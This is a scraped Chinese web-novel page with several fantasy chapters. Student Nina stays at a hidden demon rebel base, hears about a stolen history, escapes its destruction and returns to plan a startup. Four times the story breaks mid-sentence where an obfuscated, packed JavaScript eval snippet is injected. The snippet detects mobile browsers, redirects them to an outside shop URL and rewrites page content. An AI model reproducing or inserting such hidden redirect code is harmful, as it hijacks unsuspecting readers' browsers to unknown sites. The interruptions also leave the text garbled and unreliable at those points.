妮娜在《勇者笔记》里读到过，魔族（特指需要进食的那些）食谱很广，兼具杂食和食腐的属性，对生食的接受度良好，但越是与人类相似的族群，饮食习惯也越趋近人类，此外，越是年轻的魔族，嗅觉与味觉的敏感度越高。 蒙多作为一个类人的年轻魔族，又曾在人类社会中生存过，对食物的口味有所挑剔也不奇怪。 “不如我们来试试它的功效。”她指着花田说道，“蒙多也许会高兴的。” 狼人爽快地同意了。 在当晚的餐桌上，经过龙舌兰汁液处理的炖肉广受好评。 尽管这些地下住民们从未关注过口味问题，但也纷纷表示今天的食物味道更加细腻。 虽然蒙多嘴上没有说什么，但妮娜没有错过他的表情变化。 真是让人欣慰。 餐后，蒙多主动揽下了收拾餐桌的工作，这样他就有正当的理由拜访后厨了。 “克里斯，是你想到的妙方？”他一边将碗放进水池里，一边问道。 狼人的表情十分得意：“你尝出不同了！” 蒙多别扭地低下头去，看着浸在水里的那一叠碗，“嗯。” 克里斯没有卖关子：“妮娜小姐教了我一些诀窍。” “果然是她。” “你在地上生活过，应该比我们更清楚，不是所有人类都对魔族抱有敌意。那些愿意接纳我们的人，我们不妨将其视为朋友。是不是觉得她没有那么讨厌了？”克里斯往水池里加了几滴皂精，“洗碗得加这个。” “她不是——”蒙多抹了一下碗沿，刮掉粘在上面的一片橙色叶子。 “她不是什么？” 蒙多犹豫了半天，没能将“人类”这个词说出口。 清理完餐具，蒙多开始例行散步。他每隔几天就会短暂地离开一次基地，在靠近入口的地面呼吸一下新鲜空气。 如果是早晨，他会享受树影之间洒下的点点阳光，如果是夜晚，他会跑到高处去寻找月亮的踪迹。 沐浴日月的光辉，有助于元素能量的滋长和补充，这是使用元素力量的非人种族普遍拥有的爱好。 现在是黄昏时分，太阳还露着半张脸，上弦月则已经高悬天顶，正是光暗调和、一切暧昧不明的时刻。 蒙多踩着林中的枯叶，走在他已经习惯了的那条路线上。这是一条人迹罕至的城郊野路，除了隔很长一段时间才会进城购物的采买员，近十几年来或许只有他和基地那个新来的成员走过。 可是今天，他敏锐地觉察到树林中多了一些陌生的气息。 “哇哦！” 他猛地转身，同时释放出一条火蛇，向呼声响起的方向袭去。轻飘飘的落叶被热浪产生的气流卷起，在空中伴随火蛇形成一道漩涡。 在飞舞的叶片和盘旋的火蛇之间，他看到了一双惊惧的眼睛。那双眼睛被一副厚厚的镜片挡住，而镜片上反射着烈焰的光芒。 他立刻熄灭了那些火焰。枯叶也随之纷纷扬扬地落了下来。 “你是谁？”他警惕地盯着眼前的不速之客。 这是一个人类。 除了眼镜之外，那头厚重且缺乏打理的卷发、将卷发镇压住的贝雷帽、灰扑扑的衬衫、复古风格的吊带，还有背后那个巨大的矩形的背包，似乎都在暗示这名人类的身份。 “我是来这里寻找灵感的美院学生。”人类平复了一下情绪，挤出一个友善的笑容，“抱歉，我是不是打扰到你了？” 蒙多的表情仍旧有些僵硬，他的脑袋里有两个念头正在进行激烈斗争，而斗争结果将决定他接下来的行动。 刚刚被罗德里斯基地收留的时候，负责巡逻和保卫工作的成员就经常告诫他，如果在基地附近见到人类，必须毫不留情地将之解决，绝对不能将他们放归人类的城镇。 可是，昨天在巨龙石窟外听到的谈话已经对他产生了影响。 “我在这附近散步。”他对那个突然闯入的人类说道，“这一带很少有人会来，我只是有些惊讶。” 美院生笑了起来：“人迹罕至的地方总会有新的东西。我想我的毕业设计有了不错的素材。” 蒙多想起某人似乎也提及过毕业的话题。 他缓和了表情，轻轻点了点头：“希望你能够创作出满意的作品。” 美院生得寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924263|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进尺地上前一步：“对啦，我可以请你当我画作的模特吗？” * 妮娜在罗德里斯基地度过整整两天之后，逐渐意识到“阅读网站的读者回馈活动”恐怕从一开始就是她的臆想。 没有什么主办方，没有什么阅读网站，没有什么魔族风情体验营，没有什么布景博物馆。这是一座真真正正有着近三百年历史的原始魔族的基地。 尤其是她在吸血鬼的书房里看见了一台老旧的电脑之后，这种想法变得愈发强烈。 而吸血鬼显然没打算避讳这件事，因为妮娜正是受到他的邀请，才得以拜访书房，看到这台不合时宜的电脑的。 “不是说在地底没有电子设备，也不能联络外界的吗？”她盯着那台电脑，小心翼翼地提问。 “这台电脑是个例外。”吸血鬼说，“但即便如此，我也只会在极少数的情况下使用它。就算能够用星屑隐匿痕迹，在网络上频繁活动的话，还是会被七贵族发现蛛丝马迹的。” 电脑边上只剩下三个面的主机壳里，装接着三个不像电子元件或线路的玻璃瓶，里面灌着某种橙红色的液体，看起来粘稠度很高。 这是液态的星屑，现今单价最高的魔法试剂。 “那封邀请函，是你故意把来源渠道伪装成了阅读网站？为了……把我骗到这儿来？” “阅读网站……”吸血鬼有些困惑地嘀咕了一句，但很快就想明白了。 他摇摇头：“您可以说我欺骗了您，但那绝对不是我的本意……对不起。您一定看得出来，我已经命不久矣。我只是想在归于尘土之前——” 他止住了声音。 妮娜屏着呼吸等待下文。 他说起了别的事情。 “二百七十八年前，在地上东躲西藏的我，以差点丢掉一只手的代价发现了这里的结界，以及结界里的罗德里斯大人。” 吸血鬼伸出了他惨白的右手，上面缠绕着妮娜之前不曾注意到的花纹，“这就是触碰结界时造成的伤口。” “所有得知此事的同伴都将巨龙罗德里斯视为整个魔界唯一的希望。我们当机立断，在这里建造基地，成立反抗军，等待罗德里斯大人醒来，带领我们赶走人类，重建魔界。” 妮娜意识到一件严重的事——巨大石窟中的黑龙并非一座雕像，而是……一条真正的魔龙？ 她一点也不知道为什么这位血族长者要把这些绝对的机密告诉她。 如果被贵族院知道王都郊外藏着一座魔族反抗军的基地，他们第一时间就会把这里填为平地！ 想到这里，她开始觉得呼吸困难。 吸血鬼继续说了下去：“在地下生活久了，想法就逐渐发生了变化。冷静思考一下，就算罗德里斯大人有朝一日醒来，集结起地下魔族进攻人类城市，我们也未必能够成功——我们都已经老了，再没有年轻时的力量。” “更何况我们早就在地下的温吞生活里失去了复仇的意志。在这二百七十八年里，我们送走了很多同伴，我经常会产生随他们一起长眠地下的念头……不过现在看来，长寿一些还是能等到好事发生的——” “我真的很高兴能在离世之前见到您。” 咚咚咚。 敲门声有些不合时宜地响了起来。 吸血鬼似乎对访客的到来早有预料。 他面不改色地动了动手指，一条红色的触手从他的袖子里钻了出来，灵巧地旋了一下门把，紧闭的房门自动打开了。 狼人克里斯快步走进房中，毛茸茸的胸膛起伏不定：“大哥！” 他刚一开口，就被吸血鬼用一个手势打断了。 吸血鬼看了妮娜一眼：“可以请您先离开一会儿吗？” 妮娜紧张地点了点头，蹑手蹑脚地从房门张开的缝隙之间溜了出去，然后轻轻地带上了门。 “出什么事了？”吸血鬼将背部向后靠了靠，斯考罗立刻挺起胸前的一排肋骨，让它们能够严密地贴合这位老大哥已经变得非常脆弱的脊椎。 克里斯不安地转动着耳朵：“有一个人类在晚餐后出现在基地附近。”他的尾巴紧紧地贴在大腿上。 吸血鬼用手指敲着一边的扶手：“处理掉了吗？” “蒙多把他给放走了！” 5. 虚假历史 * “别告诉我你打算替你派出去的那个眼睛辩护，他弄丢了那家伙的下落，他最好被判处死刑！” “你不能要求一个大学辅导员跟踪一个在春假期间出游的女大学生——那听起来简直像个变态。” “他那副尊容，就算不做什么怪事也足够像个变态了。” “不要岔开话题。我们失去了魔王的下落——你们知道这件事的严重性。” “不过就目前而言，有一件更加迫在眉睫的事。” “嗯？” “——有人在郊外发现了炼狱兽，而他藏身的地点，居然是一座在我们眼皮底下藏了三百年的魔族基地。” “什么？” “得尽快把它处理掉，关于这点，你们应该没有意见吧？” * 妮娜沿着书房外的走廊向基地深处走去，半路正好遇上正绕着一根柱子来回踱步的矮巨魔普特，两人于是结伴在这座庞大的地下建筑中闲逛起来。 当妮娜对着走廊拐角处一个造型独特的石雕摆件赞叹不已的时候，普特不好意思地挠了挠头：“这没什么，毕竟这儿啥也没有，就闲着的时间有大把。” “什么意思？” 巨魔眨着眼睛：“我是说，就算是不擅长的事，干上一两百年，总能变得熟练的。” 妮娜反应过来：“这是你做的？！” “啊……嗯。”普特几乎要在后脑勺上挠出一个洞来，他咧着那张深紫色的大嘴，笑得一脸憨厚，“毕竟地下也没有什么可干的事。” 这时候，妮娜注意到普特结实的后背上有一道巨大的疤痕，从右肩一直蔓延到左腰侧。 坚硬的皮肤是巨魔族的特点，其中又以矮巨魔的硬度最高。到底是怎样的武器才能在矮巨魔身上造成这样的伤痕？ 她不敢深究这个问题，转而问道：“地下这么无聊的话，为什么不去地上呢？” 地上魔族的生存现状她也是了解的——或许能做的事情确实很多，比如被迫进行日夜不休的劳动，比如从事那些危险肮脏、没有人类愿意从事的工作。 “当我什么都没有说。地上的社会对魔族来说太严苛了。”她补充道。 “妮娜小姐，你一定听说过三百年前的那场大战吧？”普特的表情突然严肃起来，“大战结束于三百年前，而罗德里斯基地是在两百七十八年前成立的。你觉得这之间的几十年，我们是如何生活的？” “你们曾经生活在地上？”妮娜试探地答道。 不等普特回答，就有人插入了他们的谈话。 克里斯已经结束了和吸血鬼的谈话，用一种兽人特有的移动方式从后面赶了上来：“妮娜小姐，大哥让你去一趟巨龙石窟，他有非常重要的事要和你讲。” “这附近有一个连接石窟的传送阵，我带你去。”普特说。 普特和克里斯没有陪着妮娜一块去石窟，这些年长的成员对这个地方往往充满了敬畏。 而此时妮娜已经知道，这座石窟中沉睡着传说中的魔龙罗德里斯——过去的时代里很多人类家长用来吓唬不听话的小孩的怪物。 它被封印在肉眼看不见的结界之中，庞大的躯体几乎没有一丝生命的迹象。 吸血鬼坐着轮椅，从幽深的黑暗中缓缓现身：“这个基地里，骷髅是不是特别多？” “为什么突然说起这个？”妮娜向前走了几步，来到吸血鬼的身边。 “只是继续我们在书房里的话题。”吸血鬼露出一个苍白的笑容，说道，“大多数魔族虽然能活很久，但还是有寿命这个概念的，不过骷髅这类死灵则不一样，只要不被杀的话，他们几乎可以永远活下去。他们中的很多人，都在等待这一天的到来。” 吸血鬼说话的语气似乎在暗示什么。轮椅发出咯吱咯吱的声音，听起来像是两声悲鸣。 “这一天？” “最开始的时候，罗德里斯基地有上百个魔族，他们中的不少都在这两百七十八年里寿终正寝了。最初的几次送别总是让人感到特别悲伤，但随着时间的流逝，我发现那些早早逝去的同伴有多么幸运。我总会忍不住质问命运，为什么吸血鬼要有这么长的寿命？” “三百年，五百年，一千年……罗德里斯大人究竟何时才会醒来，这种毫无期望的守候究竟要持续多久？说不定其实连我自己，也一直在盼望着一切早日结束。” “究竟是幸运还是不幸呢？翘首以盼的终结时刻马上就要到来了，却偏偏在你到来之后。” “我听不懂，你在说什么？” “七贵族很快就会发现这里。”吸血鬼说，“然后摧毁这里。” “怎么会！”妮娜惊诧地看着吸血鬼，“是我暴露了踪迹吗？！” “绝对不是您的失误，这事早晚会发生，只是碰巧发生在您呆在这儿的时候。”吸血鬼说，“在贵族院动手之前，我会将您送到安全的地方。” 他用那只受过伤的右手按住自己单薄的胸口，依依不舍地说道：“我应该立刻就送您离开的，但我太想和您多呆一会儿了。” 妮娜鼻尖一酸。 她努力当一个懂事的女儿，可萨利对她的态度永远都漫不经心。 她用功读书，取得优异的成绩，老师们也从不会像关心其他尖子生那样在意她。 她交出精彩的简历，面试官们却总对她明嘲暗讽。 就算她在这二十二年的人生中已经习惯了这种如履薄冰的感受，并一直打起精神乐观面对，也不意味着她对来自外界的温情全无渴望。 而她竟从这个冰块一样的吸血鬼的身上感受到了温暖。 “去地上生活吧！你们只是长期生活在地下，没有对人类社会造成任何危害，你们可以提交申请，成为地上世界的合法居民。”她在轮椅边上单腿跪了下来，“我可以帮助你们。我会尽我所能。” “事情没有您想的那么简单。”吸血鬼用一种既欣慰又遗憾的语气说道。 “我知道没那么简单，但我说过，我会尽力。” 吸血鬼用他冰凉的手掌盖住了妮娜放在轮椅扶手上的左手：“您见过生命之树吗？” “没有，但我知道它就在赫尔马岱。如果你想参观，我可以带你去。” 吸血鬼说：“所有的纯血魔族都诞生自生命之树。包括我们的十位大贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924264|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族。” 妮娜觉得这个话题有点突兀，但还是应道：“我听说过魔界大贵族的事，据说他们可以分别号令魔族的十个分支，魔界也因此被学者们视为绝对阶级的社会。” “人魔大战中，人类夺走了七位大贵族的核心。” “等一等，你说七位……” “得到了大贵族核心的人类成了所谓的七贵族。核心的力量使他们能够掌控大贵族之下的七支魔族，不过仅限于这七支，也仅限于在战争之后诞生的魔族。” 自小被灌输的世界观和吸血鬼颠覆性的话语产生碰撞，让年轻人类感到不知所措。 没有任何资料提示过这段历史，贵族院一直声称七贵族的起源是七位圣灵的神话。 她在课堂上粗浅地学过人魔大战的历史，一直相信人类凭借自身的努力在两个种族的竞争中获得胜利，只是在胜利后多少显得不近人情。 她从未想过自己的种族竟是凭借卑劣的手段赢得战争，并持续不断地压迫着无法反抗的失败者。 她无法立刻相信吸血鬼所说的一切。 “龙族、元素兽，还有幻灵——人类未能得到他们的核心，您可以看看，这三个种族是不是已经在地面上彻底绝迹了。” “是贵族院下令将他们灭绝的……”妮娜想起历史上有名的几场除魔运动，以及普特背后的巨大伤口。 “力气大又听话的魔族对战后数量并不算多的人类来说是求之不得的廉价劳动力，而那些不受控制的魔族则是不知道什么时候就会被引爆的炸弹。这是再简单不过的选择了。”吸血鬼又试着在椅背上寻找舒适的姿势。 “很抱歉对您说这些。我不是想让您对您的政府产生质疑，只是想告诉您一个事实：七贵族不会对我们这些出生在战前的魔族心生怜悯。如果您同情我们，就请允许我们随着这个庇护了我们近三百年的家园一同逝去吧。” 漆黑洞穴里迎来了一阵沉默。 “我很抱歉……”妮娜说。 “为什么要道歉？”吸血鬼有些惊讶，“这并不是您的错。” “我也不知道……。”妮娜抬头望着罗德里斯潜藏在黑暗中的模糊轮廓。 她想起小时候有一回萨利带她去教会，那里有一个从赫尔马岱搬来的魔族矿夫，一个身材高大的巨魔，始终佝偻着背，神情卑微。 大人们嫌弃他，孩子们害怕他，所有人都离他远远的，妮娜紧紧捏着萨利的手，只敢偷偷地看上一眼。 她也觉得那个巨魔又脏又可怕。 巨魔是来教会领取救济品的。修女却将他赶了出去，理由是他显然不信教。 其实妮娜也不是教徒，可她却领到了食物。她没有问萨利为什么要将紫色魔物赶走，因为她觉得理应如此。 长大之后，她不再以直观的美丑区分好恶，很少会没由来地去厌恶在生活中偶遇的魔物，但一直以来的社会教养让她从未觉得幼时的感受有什么不对。 而现在，妮娜开始感到内疚。 即使没有除魔运动的威胁，地上的魔族也没有过上好的生活，与人类长得越不相似便越是如此。 不该是这样的。 6. 永恒安宁 “斯考罗，去取一点石子儿来。”吸血鬼说。 他从怀里掏出一个口袋，交给正从轮椅中拆分开来的那位骷髅怪。 骷髅怪喀喀喀地跑到巨龙结界的边缘，蹲在地上挑捡了一会儿，接着，他又揣着那只小口袋，一摇一摆地走了回来，并在吸血鬼的指示下将它交给了妮娜。 后者不解地看着基地的领袖。 “这是罗德里斯大人的藏品，在人类的社会中，这种金色的矿石是一种通用货币。它们没法对抗贵族院的权力，但一定能帮您解决不少‘现实问题’。”吸血鬼解释道。 妮娜掂了一下口袋，发现里面全都是魔龙收集的黄金——一笔巨大的财富。 “这个洞窟里囤积着大量的黄金和星屑，不过大多数都在结界内部，被罗德里斯大人压在身下。”吸血鬼说，“我们能用的并不多，这二百七十八年，我们都过得非常节俭。” 吸血鬼的话让妮娜对眼前的巨龙产生了一毛不拔的印象，并且不合时宜地笑了一下，不过很快就收敛起来。 她意识到吸血鬼看穿了她在沉默时怀揣的心思。 “基地被破坏之后，魔龙会苏醒吗？”她问。 吸血鬼将双手交叠着放在腿上：“这张结界上刻印着至高无上的祝福，即使七贵族倾巢而出也无可奈何。” 斯考罗默默地并入轮椅之中，空虚的眼洞中亮起一丝幽绿的鬼火。 “那些不知天高地厚的家伙一定会尽一切努力破坏结界，但任何尝试都是白费功夫。” “——只有魔王陛下，才能唤醒沉睡的巨龙。” * 早餐的时候，蒙多没有出现在食堂。 发现这一点的克里斯有些不安，但吸血鬼老大的笃定让他选择装作无事发生的样子。 昨天入夜之前，他去地面处理垃圾，意外看到了林间的火光，并嗅到了人类的气息。 按照一贯的做法，在基地附近发现的人类都要被立刻处死，以免他们走漏风声——这是罗德里斯基地得以在如此接近神圣峡谷的地方隐匿近三百年的不二法门。 为此，身为狼人的克里斯甚至染上了猫科动物的习性，学会了精湛的隐蔽及埋伏的技巧。他消去气息，小心翼翼地向火光靠近。 年轻的炼狱兽正在向一个学生模样的人类展现自己操控火焰的能力，他让一条火蛇缠绕在周身，自己则高举着手，摆出托住火蛇脑袋的姿势——虽然没有任何杀伤作用，但看起来可真是够威风的。 那个学生模样的人类正在一块巨大的画板上打稿。天已经暗了，尤其是林间昏暗的光线完全不适合这种需要依靠视力的作业。但蒙多在画板上方留了一团浮火，完美地解决了灯光的问题。 克里斯可没有闲心去弄清事情的来龙去脉，他朝毫无防备的人类扑了过去——这一行为在三百年的时光中几乎已经被刻写进他的本能。 “克里斯，不要！”蒙多叫了起来。他身上的火蛇吐着信子飞蹿起来。 和大多数野生动物一样，狼人畏火。不过多年的厨房经验让克里斯基本上已经克服了这种恐惧。更何况他相信蒙多不会真的把火烧到他的身上。 在空气中出现焦味的第一时间，蒙多就熄灭了所有火焰，与此同时改用了物理攻击的方式阻止狼人对美院生的突袭。 最后演变为狼人与炼狱兽的互搏，而在徒手打斗这方面，炼狱兽可要比狼人弱太多了。 克里斯很快就制服了蒙多。两人狼狈地滚落在枯叶堆里。 那个美院生早就不知道跑到哪儿去了，他在惊慌之中也没有忘记要带走他的画稿和画具。 “别追他，他对魔族没有恶意。” 就在克里斯准备循着最后一丝气味去将那个人类揪出来的时候，蒙多一把拉住了他的袖子。 这就是蒙多放走那个人类的经过。 根据昨天夜里吸血鬼从通讯网络和秘密合作者那里得到的情报，不管那个美院生是主动还是被动，总之，神圣峡谷郊外存在魔族聚居地的消息已经被贵族院获悉，七贵族连夜做出决定，要让这个藏匿在他们眼皮底下的邪恶基地灰飞烟灭。 克里斯有预感这是众人聚在一起的最后一餐了，所以他做得格外用心，平时总舍不得用的调料被尽可能用了起来，龙舌兰酒也像不要钱似的摆在长桌上。 “时间不多了，让我们最后干一杯。”吸血鬼举起了面前的酒，向众人宣告道。 基地的所有成员都充满默契，包括妮娜在内，大家纷纷举起酒杯，就连没有喉管和肠子的骷髅们也是一样。清澈的龙舌兰酒在星屑灯芒的照耀下显得熠熠生辉。 “虽然只有短短几天，但我很高兴能和大家一起度过。”妮娜说，“这一定会成为我永生难忘的记忆。” 吸血鬼对她晃了晃杯子：“祝您未来一切顺利——顺利完成学业，然后干出一番事业。毕竟我们罗德里斯基地也是您的投资者。噢，我是不是给您造成压力了？” 妮娜飞快地摇摇头：“这是我的动力！” 众人，包括骷髅们在内，纷纷将龙舌兰酒一饮而尽。 “去房间收拾一下东西吧，我送您去地面。”吸血鬼说。 接近洞口的地方被早晨的阳光染成了金黄色。 “我听说吸血鬼惧怕阳光，他们会在阳光中变成粉末。” “那不是真的，只是我们不想见人的借口。” 其实吸血鬼身上有不少幽默细胞，尤其是搭配上他那张白得像纸一样、又充斥着颓废感的面容，能够呈现出相当精彩的喜剧效果。 妮娜看到他用手小心地挡了一下阳光。 “就送到这里吧。”她说。 吸血鬼看起来有些不甘心，但又不得不屈服于自己的虚弱，他伸手指向从洞内可以看见的第一棵树：“出去之后直走，在第三棵白橡树左转……就是那种主干全白的树。这是一条施加过魔法的隐蔽通道，通道尽头是一个加密的传送阵。密令是——” 妮娜屏着呼吸，生怕听错一个字。 吸血鬼突然笑了起来：“差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924265|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点忘了，对您来说，它是不需要任何密令的。” 妮娜刚想问为什么，吸血鬼拍了拍她的后背：“我已经嗅到令人讨厌的气息了。您还是赶紧离开吧。” “祝您未来一切顺利。”他又重复了一遍自己的祝福。 妮娜点了点头，而后弯下腰，连带正在担任轮椅的两位骷髅怪一起，紧紧地拥抱了这个浑身冰冷的老血族：“祝你们能够获得永恒的安宁。” 椅背上冒出四点绿色的幽火。 吸血鬼的身体微微一僵，随后伸手回应了这个拥抱：“我们会的。您的话语，就是我们的永恒安宁。” 妮娜向着金光闪耀的洞口走去。空气变得温暖而干燥。 林间的风异样喧嚣。一切声响都被淹没在树冠相撞的涛声中。 她头也不回地走向第一棵白橡树。 第一棵……第二棵……第…… 当她在参差的树群中找到第三棵白橡树的时候，一阵不同寻常的锐利的林风呼啸而来。 那不是风，而是一道人影。 妮娜抬起头，而那个与她擦肩而过的身影早已不知去向——不，她知道，那条影子的去向只有一个！ 很快，第二条影子，第三条影子……数十条影子像迁徙的雁群一样从她的头顶掠过，然而谁也没有发现她的存在。 她知道那些乌鸦般的影子是什么——奉贵族院之命前来清剿魔族基地的魔女。 她的脚步突然变得无比沉重，好像再也无法向前挪动一寸。一股神秘的意志促使她回头。 下一秒，巨大的光球便占据了她的全部视线。 魔法的光束如同恒星一样炽烈，即使在晴空万里之下，也能让人以肉眼辨认光芒的边缘。除了阳光以外，她还不曾见过如此耀眼的光芒。 她立刻合上眼睑，否则视力一定会受到不可逆转的损伤。 她转身，逐渐加快脚步，恐惧和悔恨让她再也不敢面对身后的景象，最后，她在林间飞奔起来，奔向那第三棵白桦树，左转，一个用白色灰烬涂写的魔法阵出现在她的眼底。 她深吸一口气，跃了进去。 一阵白光之后，她出现在恩斯法内大学办公区楼下的传送阵中。 乌鸦似的单薄而黑暗的影子正在附近的空地上徘徊和巡视，他一眼就看到了从传送阵出来的学生。 “现在是春假期间，教授们都放假了，你来这里做什么？”他用怀疑的眼神打量着面前的不速之客。 妮娜的表情看起来简直目中无人，直到乌瑟在她眼前挥了挥手，她才回过神来。 “导员……” “你怎么了？站着睡着了吗？”乌瑟皱眉问道，“等一等，你身上有股奇怪的味道。” 妮娜觉得自己好像做了一场梦。她下意识地将沾到过龙舌兰酒的右手藏进口袋。手指被什么东西刺了一下，她疑惑地将那东西从口袋里捞出来，并在眼前展开。 “我想找你商量一下创业大赛的事情。”她看着那份皱巴巴的宣传手册说道。 7. 创业竞赛 乌瑟的办公桌风格简洁到让人手足无措。 尤其是同一间办公室里的其他几张桌子上都有着各位辅导员用于彰显自己个性的装饰摆件。 妮娜一开始站在办公桌边上，她以为谈话可以就这样开始。没想到乌瑟帮她搬来了一张椅子，还给她倒了水。 让一个年纪比自己大一倍有余的长者做这种事多少有点不合礼仪。这让妮娜感到十分局促，加上过去几天刚刚经历过非凡事件，她更有种夹在梦境与现实之间的错乱感。 “现在，你可以说说你的打算了。”乌瑟为自己也打了一杯水，在她面前坐了下来。 “那天早上，我是说传送阵发生故障的那天——”说到这里，妮娜突然意识那天的故障或许正与郊外的那个传送魔法有关。 一个双向传送阵被强行接入一个额外入口，往往是传送魔法出现问题的根源。 “那天怎么了？”乌瑟没有体谅她丰富的内心活动，皱着眉说道。 “教授给我推荐了一个选题，呃，没记错的话，是研究如何在保持人类绝对优势地位的同时改善人类与魔族的关系，说实话，我不觉得这前半句话和后半句话能同时成立，尤其是在现在的经济环境之下，社会底层人人自危，对魔族的歧视和压榨几乎成了他们自尊心的唯一来源。” “你大可以少说一些废话，尽快进入正题。” “好吧……你看，最近街头出现了很多无家可归的魔族……我想为他们提供住所，并帮助他们寻找创造财富的途径。而且我小时候就盼望着以后能靠收房租过日子。” 最后一句话完全是多余的补充。 “一个没办法帮自己落实工作的大学生，却想着帮别人——而且还是魔物们寻找致富路径，你不觉得这件事听起来有些滑稽吗？还有，我并不觉得‘房东’能算得上一份工作。” “如何创造收益可以从长计议，问题是你不觉得这个想法完全符合教授给我的课题吗？我作为房东，在房客面前保有绝对优势地位，而且减少流浪魔族的数量肯定能对社会的和谐稳定有所促进，从而在一定程度上改善周边人类与魔族的关系。” 因为有罗德里斯“友情赞助”的黄金，还有吸血鬼没有声张地藏在她口袋里的一件魔法道具，妮娜可以确保自己在毕业后不会流落街头，这让她在面对辅导员的质疑时有更多底气。 当然，她不会把这些内幕直接告诉乌瑟。 而乌瑟没有说话，但似乎在用眼神谴责这名学生的天真及强词夺理。 “姑且先不考虑收益的问题好了，你名下有可以用于出租的不动产吗？就我所知，你的家庭条件并不算好，甚至有过需要领取救济品的时候。” 虽然他似乎在委婉地劝说学生放弃这个头脑一热的想法，但他提出的问题都在情理之中。 妮娜感到一丝意外，没想到乌瑟竟对学生的家境了如指掌——也许他真的是一个负责的辅导员，不管他的出身到底是什么。 “不瞒你说，我最近从一个意外的渠道获得了一笔启动资金，正考虑用它在都城购置一小块地产，就算创业项目失败，我至少能得到一个住处。” “你在购买彩券，而且中了大奖？” “你就当做是那样吧……” “你得说清楚这笔钱的来历。最好不要撒谎——我有权限去彩券商那里调查获奖情况。” 乌瑟眯起了那双颓废无神的眼睛，并唰唰地在一个黑色的小手账上记录着什么。 妮娜咬了一下嘴唇：“这我不能说。你得让我保留一些隐私。如果你越界了，我也有权限向学校检举。” “你不会想接受贵族院的调查的，对吧？”乌瑟用一种威胁的口吻说道。 “我只是一个大学生。如果贵族院真的会关心一个大学生的情况，那我就不会毕不了业，也不会就不了职了。” “他们不会关心一个大学生，前提是这个大学生没有触犯法律——” “我坐在这里不是为了接受你的调查的，先生。如果你非要向贵族院举报我有违法行为，那我也不介意向贵族院举报你在大学校园内使用魔法。” 乌瑟的表情一下子变得很坏。那张原本就阴沉的脸看上去简直无比险恶。 妮娜有些紧张，也有些内疚——毕竟当时乌瑟是为了救她一命。不过她也确定了这的确是这位魔女的把柄。 乌瑟张了张嘴，仔细看的话就会发现那双发黑的嘴唇正在颤抖。不知道是不是因为太生气，他半天没能说出一句话来。 “抱歉……”妮娜低下头去，“就像你有一些不愿为人所知的秘密一样，我也不喜欢自己的底细被人扒个干净。” 乌瑟啪地合上了黑色手册，打开办公桌上的电脑，熟练地找到某个页面，修长而枯槁的中指飞快操控着鼠标上的滚轮。 “让我们来看看一栋专门面向魔族的廉租房能有什么开发的空间。” 妮娜知道他们之间的保密协议算是达成了。 她松了一口气。她要拿这笔飞来横财做事，就不可能永远将它们藏着掖着，而被乌瑟知道总比被其他人知道要好一点——毕竟他是一个离群索居的魔女。 乌瑟打开的是创业大赛的公示页面，上面展示着已经通过审核的各类项目，按照关注度的高低进行排序。 这里的关注度一定程度上已经可以体现项目的前景，因为“投资者”的关注在各类关注中权重最高。如果项目被一名投资者看好，就会增加50关注度，而被“评委”看好，则会增加10关注度，被“游客”看好，则只增加5关注度。 项目的关注度越高，说明被越多的投资者看好。投资者的眼光往往是很毒辣的。 妮娜迅速扫了一眼名列前茅的几个项目，几乎都与互联网有关。 “我还以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924266|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔法会是当下的创业热门呢。” “看来你对社会的认知与现实有所偏差。”乌瑟驳斥了一句，“魔法确实极大提高了社会生产效率，但固定成本太高，而且大多用于重工业领域，没有哪个正常的大学生会把手伸向那些被垄断的行业。” “如果我是一个魔法生的话，一定会把魔法轻量化作为研究目标。技术应该造福大众，解放生产力，而不是剥夺人们的工作，成为压榨人们的道具。”妮娜嘟囔道，“如果我是魔法生就好了。” “闭上你的嘴，别再让我听见你关于专业选择的抱怨。”乌瑟头也不回地骂了一句，“你们这些象牙塔里的小老鼠最好提前接受一下社会的毒打，免得总是异想天开。” 办公室里只剩下鼠标点击的声音。 